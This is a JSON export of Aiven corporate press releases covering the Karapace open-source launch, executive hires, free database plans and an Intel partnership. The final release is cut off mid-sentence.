{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5rgWjSelUXHQGRwnvi2hP2","_rev":"ElrRHx5al3kb1PwLXGlWsd","_type":"pressRelease","_updatedAt":"2022-12-02T12:16:23Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading technology company combining the best open source technologies with cloud infrastructure, announced today the launch of Karapace, the only open-source tool that serves as a drop-in replacement for Confluent’s Kafka REST and Schema Registry.\n\n“We’re proud to announce the release of Karapace, which demonstrates our continued commitment to the Apache Kafka open-source community,” said Hannu Valtonen, Chief Product Officer at Aiven. “Karapace provides an additional tool that makes it easier to manage Kafka clusters at scale and further unlocks the full functionality of the Kafka ecosystem, whether users want to utilize Aiven services or not.”\n\nWith the addition of Karapace, customers can use the tool to store Kafka schemas in a central repository and access their version history, serialize and deserialize messages, interface RESTfully with Kafka clusters, and perform administrative tasks on their cluster, such as produce and consume messages.\n\nThis is not the first of Aiven’s contributions to open-source projects. They’ve contributed a number of fixes and feature releases, such as PGHoard, a popular PostgreSQL backup daemon and restore tooling for cloud object storage. As the Aiven team continues to grow and specialize, they plan on making more significant core and feature contributions to the open-source technologies they provide service for.\n\n“The other founders and I have been ardent supporters of open source for the length of our careers, both philosophically and practically. When we started Aiven, we wanted to continue that support by baking it right into the DNA of the company while also committing resources to furthering the projects we benefit from and believe in.”\n\nAiven licensed Karapace under Apache 2.0 and included a number of enhancements to make it lighter on resource usage. Aiven also plans to add features over time and assist in increasing the open access to Apache Kafka, whether implemented independently or as a service.\n\nTo learn more about Karapace, visit [https://karapace.io/](https://karapace.io/).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: @aiven_io.","content":[{"_key":"EQLa42r5","_type":"block","children":[{"_key":"b12878260751","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — July 8, 2020- "},{"_key":"3OYx1wr2","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"L17mOWSL","_type":"span","marks":[],"text":", a leading technology company combining the best open source technologies with cloud infrastructure, announced today the launch of Karapace, the only open-source tool that serves as a drop-in replacement for Confluent’s Kafka REST and Schema Registry."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"13u4OdcT","_type":"block","children":[{"_key":"2wpW2QjR","_type":"span","marks":[],"text":"“We’re proud to announce the release of Karapace, which demonstrates our continued commitment to the Apache Kafka open-source community,” said Hannu Valtonen, Chief Product Officer at Aiven. “Karapace provides an additional tool that makes it easier to manage Kafka clusters at scale and further unlocks the full functionality of the Kafka ecosystem, whether users want to utilize Aiven services or not.”"}],"markDefs":[],"style":"normal"},{"_key":"aTW9GFyr","_type":"block","children":[{"_key":"OXcuW5yR","_type":"span","marks":[],"text":"With the addition of Karapace, customers can use the tool to store Kafka schemas in a central repository and access their version history, serialize and deserialize messages, interface RESTfully with Kafka clusters, and perform administrative tasks on their cluster, such as produce and consume messages."}],"markDefs":[],"style":"normal"},{"_key":"kitSBklF","_type":"block","children":[{"_key":"8QYJR632","_type":"span","marks":[],"text":"This is not the first of Aiven’s contributions to open-source projects. They’ve contributed a number of fixes and feature releases, such as PGHoard, a popular PostgreSQL backup daemon and restore tooling for cloud object storage. As the Aiven team continues to grow and specialize, they plan on making more significant core and feature contributions to the open-source technologies they provide service for."}],"markDefs":[],"style":"normal"},{"_key":"Ta0P2T3I","_type":"block","children":[{"_key":"rVQfaMh4","_type":"span","marks":[],"text":"“The other founders and I have been ardent supporters of open source for the length of our careers, both philosophically and practically. When we started Aiven, we wanted to continue that support by baking it right into the DNA of the company while also committing resources to furthering the projects we benefit from and believe in.”"}],"markDefs":[],"style":"normal"},{"_key":"BFrbmjXj","_type":"block","children":[{"_key":"G5S8XJXn","_type":"span","marks":[],"text":"Aiven licensed Karapace under Apache 2.0 and included a number of enhancements to make it lighter on resource usage. Aiven also plans to add features over time and assist in increasing the open access to Apache Kafka, whether implemented independently or as a service."}],"markDefs":[],"style":"normal"},{"_key":"l63gYqoc","_type":"block","children":[{"_key":"MPqP0ava","_type":"span","marks":[],"text":"To learn more about Karapace, visit "},{"_key":"HFoayaWp","_type":"span","marks":["m14990230203667"],"text":"https://karapace.io/"},{"_key":"uHZr52aC","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14990230203667","_type":"link","href":"https://karapace.io/"}],"style":"normal"},{"_key":"fWhd8Hhm","_type":"block","children":[{"_key":"QWNdJImB","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"m331jEQR","_type":"block","children":[{"_key":"uO3aVCT1","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"7o4HzMmR","_type":"block","children":[{"_key":"501l3QM0","_type":"span","marks":[],"text":"You can visit "},{"_key":"YkHx5Pl6","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"FOYyOMT0","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: @aiven_io."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"}],"publishedAt":"2020-07-08T00:00:00.000Z","seo":{"metaDescription":"The open-source tool, Karapace, will enable enterprises to plug into Kafka REST and Schema Registry, unlocking new capabilities.","metaTitle":"Aiven launches the open-source tool Karapace"},"slug":{"_type":"slug","current":"/press/aiven-launches-open-source-alternative-to-kafka-rest-and-schema-registry"},"subtitle":"The open-source tool, Karapace, will enable enterprises to plug into Kafka REST and Schema Registry, unlocking new capabilities.","title":"Aiven launches the open-source tool Karapace"}
{"__i18n_lang":"en","_createdAt":"2023-03-07T05:42:53Z","_id":"d179bc42-d4a5-47fa-bfe7-cc0edd3f73ca","_rev":"iUKOwlWz6dlX4J4w2kV81v","_type":"pressRelease","_updatedAt":"2023-03-08T13:00:09Z","content":[{"_key":"b98bd525d2b5","_type":"block","children":[{"_key":"2fad8e876dc70","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — March 8, 2023"},{"_key":"2fad8e876dc71","_type":"span","marks":[],"text":" — "},{"_key":"2fad8e876dc72","_type":"span","marks":["7f4ffa6cabd7"],"text":"Aiven"},{"_key":"2fad8e876dc73","_type":"span","marks":[],"text":", the open source cloud data platform, announced today that David Wyatt joins the company as Chief Revenue Officer. Wyatt brings over more than two decades of sales leadership roles and a track record of accelerating growth in many Software as a Service (SaaS) companies such as Databricks and MuleSoft."}],"markDefs":[{"_key":"7f4ffa6cabd7","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"8ee996157b88","_type":"block","children":[{"_key":"b17ad66932870","_type":"span","marks":[],"text":"Wyatt joins Aiven at a pivotal period to steer the company and support its growth objectives. His focus will be on shaping and optimizing the company’s integrated go-to-market strategy, enabling teams to scale and achieve continued growth, and ultimately driving satisfaction for its customers and meeting global demand for the Aiven platform."}],"markDefs":[],"style":"normal"},{"_key":"3477b402dec7","_type":"block","children":[{"_key":"5d5d91fcea250","_type":"span","marks":[],"text":"“I’m over the moon to join Aiven and build growth once more in a promising company that is faced with a colossal market opportunity. There is a lot of repeatability in the problems that companies face around data infrastructure. This impacts cost, speed of delivery, and most ultimately the ability to act fast to drive revenue and profitability. Aiven has the ability to simplify all this to the customers and serve them better than anyone else”, said David Wyatt, Aiven’s Chief Revenue Officer."}],"markDefs":[],"style":"normal"},{"_key":"3a3fe0d0bcc1","_type":"block","children":[{"_key":"f9bdb070ff770","_type":"span","marks":[],"text":"“We are thrilled to welcome David to the executive team,” said Oskari Saarenmaa, CEO and Co-founder at Aiven. “His impressive experience and proven track record of building fast-growing software companies uniquely positions him to help drive the next era of growth here at Aiven, as we continue towards our vision of empowering developers and enterprises with the best data technology.”"}],"markDefs":[],"style":"normal"},{"_key":"c20ea806375f","_type":"block","children":[{"_key":"bedb12633f2a0","_type":"span","marks":[],"text":"Aiven serves over 1000 businesses worldwide, including Atlassian, Comcast, OVO Energy, Gov.uk, Wolt, and Toyota. Aiven’s customers – whether large enterprises who want to become digital or startups who want to scale fast – all seek a secure and cost-efficient one-stop platform for their data.\n\n###"}],"markDefs":[],"style":"normal"},{"_key":"952bf8b591b7","_type":"block","children":[{"_key":"e49eee02aaf0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"06c41ff5d256","_type":"block","children":[{"_key":"480cf3f0aaa70","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"5cb3d8d784a4","_type":"block","children":[{"_key":"240739e5d70b0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"28c1452321c7","_type":"block","children":[{"_key":"75dd8e35b5960","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"59dda402e889","_type":"block","children":[{"_key":"186e97631d160","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"fb25bc3930f9","_type":"block","children":[{"_key":"12d81168ae9b0","_type":"span","marks":[],"text":"Aiven"}],"markDefs":[],"style":"normal"},{"_key":"82fd28e3be42","_type":"block","children":[{"_key":"7206e4d889320","_type":"span","marks":[],"text":"Ting Ong"}],"markDefs":[],"style":"normal"},{"_key":"fe33662888b8","_type":"block","children":[{"_key":"58f455a993c10","_type":"span","marks":["d692c3d9154b"],"text":"press@aiven.io"}],"markDefs":[{"_key":"d692c3d9154b","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"}],"publishedAt":"2023-03-08T13:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/press/aiven-strengthens-leadership-team-with-a-chief-revenue-officer"},"subtitle":"Tech veteran, David Wyatt, joins the executive team to accelerate growth and expand Aiven's market footprint globally to support the demand for the company’s open source cloud data platform\n","title":"Aiven strengthens leadership team with a Chief Revenue Officer"}
{"__i18n_lang":"en","_createdAt":"2023-04-09T22:50:24Z","_id":"9d93c92e-6d04-442c-826e-c6591845d5f6","_rev":"gO4PimG2K28q9ZOw6PXZ9j","_type":"pressRelease","_updatedAt":"2023-04-12T12:00:03Z","content":[{"_key":"3e3e9243cf70","_type":"block","children":[{"_key":"11bc098d5c3b0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — April 12, 2023"},{"_key":"11bc098d5c3b1","_type":"span","marks":[],"text":" — "},{"_key":"11bc098d5c3b2","_type":"span","marks":["bbd8e8f17ca0"],"text":"Aiven"},{"_key":"11bc098d5c3b3","_type":"span","marks":[],"text":", the open source cloud data platform, today announced the launch of free plans for its open source database services, Aiven for PostgreSQL®, Aiven for MySQL, and Aiven for Redis®. These free plans are available to anyone with technical support through a newly launched community forum."}],"markDefs":[{"_key":"bbd8e8f17ca0","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"c52057f95748","_type":"block","children":[{"_key":"ccbb225b57090","_type":"span","marks":[],"text":"“By making our portfolio of open source tools that our customers love accessible to all, we’re enabling the next generation of developers to begin learning and expanding their skill set without having to endure the traditionally high costs,” said Oskari Saarenmaa, Co-Founder and CEO of Aiven. “Providing access to these free plans is another step in realizing Aiven’s vision of democratizing open source technologies, making them available to everyone and reinforcing our commitment to the open source community.”"}],"markDefs":[],"style":"normal"},{"_key":"45c2b2fe9c00","_type":"block","children":[{"_key":"b4b2a45445190","_type":"span","marks":[],"text":"The new free plans from Aiven allow everyone to access the Aiven platform with no commitments or hidden costs. The free plans include many advanced Aiven platform features. These include dedicated instances, daily backups, Terraform integration and more. Once initiated, Aiven free plans can be seamlessly, securely, and automatically upgraded to larger, paid plans as required."}],"markDefs":[],"style":"normal"},{"_key":"7bf59eada666","_type":"block","children":[{"_key":"7c57219c9c5c0","_type":"span","marks":[],"text":"Technical support for Aiven free plans is available through the new Aiven Community Forum, which launches alongside the new plans. The Aiven Community Forum provides a space for developers to discuss and collaborate on the applications and services they are building with open source data technologies. Developers can share what they are building, ask questions, and get support on challenges they are facing from other members of the community and Aiven team members, or Crabs as we like to call them."}],"markDefs":[],"style":"normal"},{"_key":"fe8ec0198f0f","_type":"block","children":[{"_key":"a971db9c06780","_type":"span","marks":[],"text":"“Aiven extending free access to its platform and setting up of a community forum have an impact on far more than just one student or developer looking to learn more about databases,” said Stephen Catanzano, Senior Analyst at Enterprise Strategy Group. “Open source educators and the broader developer community now have greater opportunities to drive awareness to and grow the technology most crucial to our society.”"}],"markDefs":[],"style":"normal"},{"_key":"3d0346664c84","_type":"block","children":[{"_key":"cd5c9a79b3cf0","_type":"span","marks":[],"text":"Learn more about Aiven’s free plans "},{"_key":"cd5c9a79b3cf1","_type":"span","marks":["84861da8cafa"],"text":"here"},{"_key":"cd5c9a79b3cf2","_type":"span","marks":[],"text":" and head to our "},{"_key":"cd5c9a79b3cf3","_type":"span","marks":["b11950c83982"],"text":"community forum"},{"_key":"cd5c9a79b3cf4","_type":"span","marks":[],"text":" to join the discussion today!"}],"markDefs":[{"_key":"84861da8cafa","_type":"link","href":"https://aiven.io/blog/free-plans-postgresql-mysql-redis"},{"_key":"b11950c83982","_type":"link","href":"https://aiven.io/community/forum/"}],"style":"normal"},{"_key":"7025a7af217b","_type":"block","children":[{"_key":"36ebde0cc956","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"16e0193cba37","_type":"block","children":[{"_key":"8d32d0349eac0","_type":"span","marks":["strong"],"text":"Additional Resources"}],"markDefs":[],"style":"normal"},{"_key":"387778ca867d","_type":"block","children":[{"_key":"b8cb5f37c3480","_type":"span","marks":[],"text":"For more information on the different services and plan types available on Aiven, have a look at our "},{"_key":"b8cb5f37c3481","_type":"span","marks":["2d7cd512d9cc"],"text":"plan comparison"},{"_key":"b8cb5f37c3482","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2d7cd512d9cc","_type":"link","href":"https://aiven.io/pricing?tab=plan-comparison\u0026product=pg"}],"style":"normal"},{"_key":"cbe64b4544d4","_type":"block","children":[{"_key":"a5380467d3e00","_type":"span","marks":[],"text":"Get access to our comprehensive guide to the latest tools and resources in open source technology here in our "},{"_key":"a5380467d3e01","_type":"span","marks":["83bd0d820dad"],"text":"Aiven Developer Center"},{"_key":"a5380467d3e02","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"83bd0d820dad","_type":"link","href":"https://aiven.io/developer"}],"style":"normal"},{"_key":"cea078881d76","_type":"block","children":[{"_key":"7021bf05ad220","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"1f817024e541","_type":"block","children":[{"_key":"1a672293e3080","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"e194e6914189","_type":"block","children":[{"_key":"9ee575a88fe70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f5361e56da4d","_type":"block","children":[{"_key":"1712a0858b870","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"034f68795489","_type":"block","children":[{"_key":"862ee63c17ef0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"cc0bb40afa41","_type":"block","children":[{"_key":"4eb12cd139810","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"4eb12cd139811","_type":"span","marks":["a5beca61e135"],"text":"aiven.io"},{"_key":"4eb12cd139812","_type":"span","marks":[],"text":" and follow @aiven_io on Twitter.\n"}],"markDefs":[{"_key":"a5beca61e135","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"4dec5d3f6f26","_type":"block","children":[{"_key":"85eb0c4e01ff0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"da5c88106fde","_type":"block","children":[{"_key":"c65c4dc09a580","_type":"span","marks":[],"text":"press@aiven.io\n"}],"markDefs":[],"style":"normal"},{"_key":"0720d0c0fb65","_type":"block","children":[{"_key":"2e8db31ca9be0","_type":"span","marks":["em"],"text":"Postgres, PostgreSQL and the Slonik Logo are trademarks or registered trademarks of the PostgreSQL Community Association of Canada, and used with their permission."}],"markDefs":[],"style":"normal"},{"_key":"575d8b5946bd","_type":"block","children":[{"_key":"2b9fef6d24fc0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-04-12T12:00:00.000Z","slug":{"_type":"slug","current":"/press/aiven-launches-free-plans-for-postgresql-mysql-and-redis"},"subtitle":"Launch of free plans and community forum reinforces commitment to the open source community and is a testament to its vision of democratizing open source technologies\n\n","title":"Aiven launches free plans for PostgreSQL®, MySQL, and Redis® to boost open source adoption and make its platform more accessible"}
{"__i18n_lang":"en","_createdAt":"2023-04-18T02:53:44Z","_id":"ee26e9e3-d071-4fcc-8cc9-094b2c23d1fe","_rev":"rm1pG3T7Eds3n9IIU6UEa4","_type":"pressRelease","_updatedAt":"2023-04-20T00:12:46Z","content":[{"_key":"0f8b7dd9ccc6","_type":"block","children":[{"_key":"e1d125b4c1770","_type":"span","marks":["strong"],"text":"SINGAPORE — April 20, 2023 "},{"_key":"e1d125b4c1771","_type":"span","marks":[],"text":"- "},{"_key":"e1d125b4c1772","_type":"span","marks":["a5f2bffda0f1"],"text":"Aiven"},{"_key":"e1d125b4c1773","_type":"span","marks":[],"text":", the open source cloud data platform company, today announced the appointment of Stu Garrow as Vice President (VP) of Asia Pacific (APAC). Stu brings more than three decades of technology leadership and a wealth of enterprise sales experience to Aiven. Based in Singapore, Stu will lead Aiven’s overall business strategy and growth in the APAC region, and focus on sales and channel development, team and market expansion, and engaging customers, partners, and the community to accelerate our journey in the market."}],"markDefs":[{"_key":"a5f2bffda0f1","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"0f369ea36c25","_type":"block","children":[{"_key":"467508e3bc390","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"bd6fdc1c58c1","_type":"block","children":[{"_key":"adbd409de8750","_type":"span","marks":[],"text":"“Stu is a strong, collaborative leader with a proven track record in leading high-achieving, customer-centric teams and building strategic alliances and partnerships in APAC,” said David Wyatt, Chief Revenue Officer, Aiven. “I am confident that his extensive experience and relevant expertise will position us for greater success in the region and capitalize on our significant market opportunity.”"}],"markDefs":[],"style":"normal"},{"_key":"21675fba6ce1","_type":"block","children":[{"_key":"e19ce924cd760","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"b16d4e378553","_type":"block","children":[{"_key":"3b08cb1066f90","_type":"span","marks":[],"text":"“Aiven is supporting some of the world’s most innovative companies, helping them simplify their data infrastructure challenges through our open source data platform to drive cost efficiencies and agility. This is why I am beyond thrilled to be joining a company with such great promise at this period of my career,” said Stu Garrow, Vice President of APAC, Aiven. “I look forward to joining a world-class team, helping business leaders and their organizations continue with their innovation efforts and empower them with the best open source data technology.”"}],"markDefs":[],"style":"normal"},{"_key":"8844387a23c6","_type":"block","children":[{"_key":"79c49091250d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"586b248db564","_type":"block","children":[{"_key":"1c4a7aca93d70","_type":"span","marks":[],"text":"Prior to Aiven, Stu served as Senior Vice President and General Manager of APAC at Talend, a data integration and data management company. At Talend, Stu led an aggressive growth strategy for one of the company’s fastest-growing regions. Before Talend, he was the first employee at MuleSoft in Asia and was instrumental in establishing and building the different functions, growing the company across the region, and developing the global channels and alliances program."}],"markDefs":[],"style":"normal"},{"_key":"98e0c6412a55","_type":"block","children":[{"_key":"d93aab0354570","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"10875b974085","_type":"block","children":[{"_key":"e7856cdb4a1c0","_type":"span","marks":[],"text":"This latest release follows Aiven’s recent "},{"_key":"e7856cdb4a1c1","_type":"span","marks":["1de42d1ca57d"],"text":"announcement"},{"_key":"e7856cdb4a1c2","_type":"span","marks":[],"text":" to offer free plans for three of its databases and technical support through the newly launched Aiven Community Forum."}],"markDefs":[{"_key":"1de42d1ca57d","_type":"link","href":"https://aiven.io/press/aiven-launches-free-plans-for-postgresql-mysql-and-redis"}],"style":"normal"},{"_key":"1b84ac5a3c7e","_type":"block","children":[{"_key":"adbeedc036480","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ee210af3fc3e","_type":"block","children":[{"_key":"7fde468e1ad00","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"7fde468e1ad01","_type":"span","marks":["d2d8d033498c"],"text":"https://aiven.io"}],"markDefs":[{"_key":"d2d8d033498c","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"7f18d1eb935c","_type":"block","children":[{"_key":"90ed74936cf70","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ab4b5e6cbc7f","_type":"block","children":[{"_key":"4cc00e1e6ab80","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"59d4c70f9aa5","_type":"block","children":[{"_key":"d00b3ad183fd0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"36ac9354bbad","_type":"block","children":[{"_key":"c7998d3c5a740","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"0ac42a47999d","_type":"block","children":[{"_key":"38214c25b3c90","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"d884ba09ca9e","_type":"block","children":[{"_key":"552d0270af130","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. 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{"__i18n_lang":"en","_createdAt":"2023-04-18T02:50:36Z","_id":"b376c445-619b-4000-aeeb-56aa264c7201","_rev":"Dk2WL9Nm5dkJcEBiWO0nav","_type":"pressRelease","_updatedAt":"2023-04-18T02:50:36Z","content":[{"_key":"79872ec190c6","_type":"block","children":[{"_key":"7248269005fc0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — April 18, 2023"},{"_key":"7248269005fc1","_type":"span","marks":[],"text":" — "},{"_key":"7248269005fc2","_type":"span","marks":["19382177ceed"],"text":"Aiven"},{"_key":"7248269005fc3","_type":"span","marks":[],"text":", the open source cloud data platform, today announced it has been selected to join the "},{"_key":"7248269005fc4","_type":"span","marks":["b03d5a7aca49"],"text":"Intel Disruptor Initiative"},{"_key":"7248269005fc5","_type":"span","marks":[],"text":". Through this strategic collaboration with Intel, Aiven aims to advance the performance of all the open source technologies that it offers on its platform such as Apache Kafka®, PostgreSQL®, and OpenSearch® and focus on delivering the most value for customers by optimizing the performance of these open source technologies at the lower cost. The Intel Disruptor Initiative is an invite-only program comprised of high-growth companies driving innovation with support from Intel on go-to-market activities and technology collaboration. As part of the initiative, Aiven will also focus on bringing high-performance open source technologies to the community and customers to promote the usage of open source."}],"markDefs":[{"_key":"19382177ceed","_type":"link","href":"https://aiven.io/"},{"_key":"b03d5a7aca49","_type":"link","href":"https://www.intel.com/content/www/us/en/partner-alliance/membership/select-benefit/disruptors/overview.html"}],"style":"normal"},{"_key":"d8a72ac4fe69","_type":"block","children":[{"_key":"0c05d734e9af0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"8698dc11bb5e","_type":"block","children":[{"_key":"b24d20dcd7b30","_type":"span","marks":[],"text":"Aiven has unique capabilities to run open source services like Kafka, PostgreSQL, and OpenSearch on all major clouds including AWS, Google Cloud, and Azure. The collaboration will enable Aiven to benchmark performance of its open source technologies across these cloud providers to deliver optimal performance using the Intel Xeon Scalable processors and software with built-in accelerators. With cloud companies consuming a mass amount of energy, about "},{"_key":"b24d20dcd7b31","_type":"span","marks":["305b7eae7c9c"],"text":"1%"},{"_key":"b24d20dcd7b32","_type":"span","marks":[],"text":" of the world's electricity, there’s never been a better time to prioritize sustainability. Through the Intel Disruptor Initiative, Aiven aims to promote sustainable energy usage in partnership with Intel, to create energy efficient processing power and optimized operations on Intel architecture."}],"markDefs":[{"_key":"305b7eae7c9c","_type":"link","href":"https://spectrum.ieee.org/cloud-computings-coming-energy-crisis"}],"style":"normal"},{"_key":"084c4a7cfd95","_type":"block","children":[{"_key":"8e9e117c55d80","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"9336dec2518b","_type":"block","children":[{"_key":"e509486e94780","_type":"span","marks":[],"text":"“For Aiven to be a part of this initiative speaks to the importance of bringing open source technologies to the larger community and help drive innovation across the industry,” said Heikki Nousiainen, CTO and Co-Founder of Aiven. “The collaboration with Intel will allow us to provide the best open source solutions possible at the best performance with low cost, opening up the opportunity for more companies to utilize open source data technologies and drive true transformation from within.”"}],"markDefs":[],"style":"normal"},{"_key":"802493314b37","_type":"block","children":[{"_key":"fba18ae063580","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"1bdd5c16aa45","_type":"block","children":[{"_key":"5afbde5fb61a0","_type":"span","marks":[],"text":"“Intel is working to remove the typical hurdles customers face with open-source technologies by providing TCO and performance optimized, energy efficient processing power, in-silicon accelerators, and latest infrastructure and software on Intel Architecture,” said Arijit Bandyopadhyay, CTO – Enterprise Analytics and AI, Head of Strategy – Cloud \u0026 Enterprise DCAI Group at Intel. “By working with outstanding companies like Aiven through the Intel Disruptor Initiative, we continue to improve and increase contributions to the open-source community and see open-source solution development and optimized delivery on Intel Architecture as a staple to innovation advancing these goals for the industry.”"}],"markDefs":[],"style":"normal"},{"_key":"5bb64e3860b5","_type":"block","children":[{"_key":"e1036d91e39c0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"45d223becb91","_type":"block","children":[{"_key":"a31f546fb9060","_type":"span","marks":[],"text":"Alongside the upcoming sustainability collaboration planned with Intel, Aiven currently runs and operates an internal sustainability and social impact team. Through this team, Aiven is aiming to build a world where open source technology is developed by everyone, for everyone – with the good of the people and the environment in mind. Aiven’s participation in the Intel Disruptor Initiative advances the company’s ability to act on this promise in the coming years."}],"markDefs":[],"style":"normal"},{"_key":"2a254a429daa","_type":"block","children":[{"_key":"b6760fd5337d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"bac7a7b0edf0","_type":"block","children":[{"_key":"5f8dbfc2890d0","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"5f8dbfc2890d1","_type":"span","marks":["2aaa2aee0469"],"text":"https://aiven.io/"},{"_key":"5f8dbfc2890d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2aaa2aee0469","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"c85134c3bbac","_type":"block","children":[{"_key":"bbd832a8c7010","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"6ac1ccfd6457","_type":"block","children":[{"_key":"e486999fd3f80","_type":"span","marks":["strong"],"text":"Additional Resources"}],"markDefs":[],"style":"normal"},{"_key":"782e645e1da6","_type":"block","children":[{"_key":"2ca750424a070","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"6495bd7acea7","_type":"block","children":[{"_key":"3ea34af5574b0","_type":"span","marks":[],"text":"Catch our on-demand webinar on “"},{"_key":"3ea34af5574b1","_type":"span","marks":["em"],"text":"Evaluating Your Event Streaming Needs the Software Architect Way"},{"_key":"3ea34af5574b2","_type":"span","marks":[],"text":"\" "},{"_key":"3ea34af5574b3","_type":"span","marks":["a84a7bfe57e8"],"text":"here"},{"_key":"3ea34af5574b4","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a84a7bfe57e8","_type":"link","href":"https://www.youtube.com/watch?v=hJRzRDcsb5w"}],"style":"normal"},{"_key":"9dd2c4bcc20c","_type":"block","children":[{"_key":"38270bc85c3e0","_type":"span","marks":[],"text":"Learn more about Aiven’s sustainability 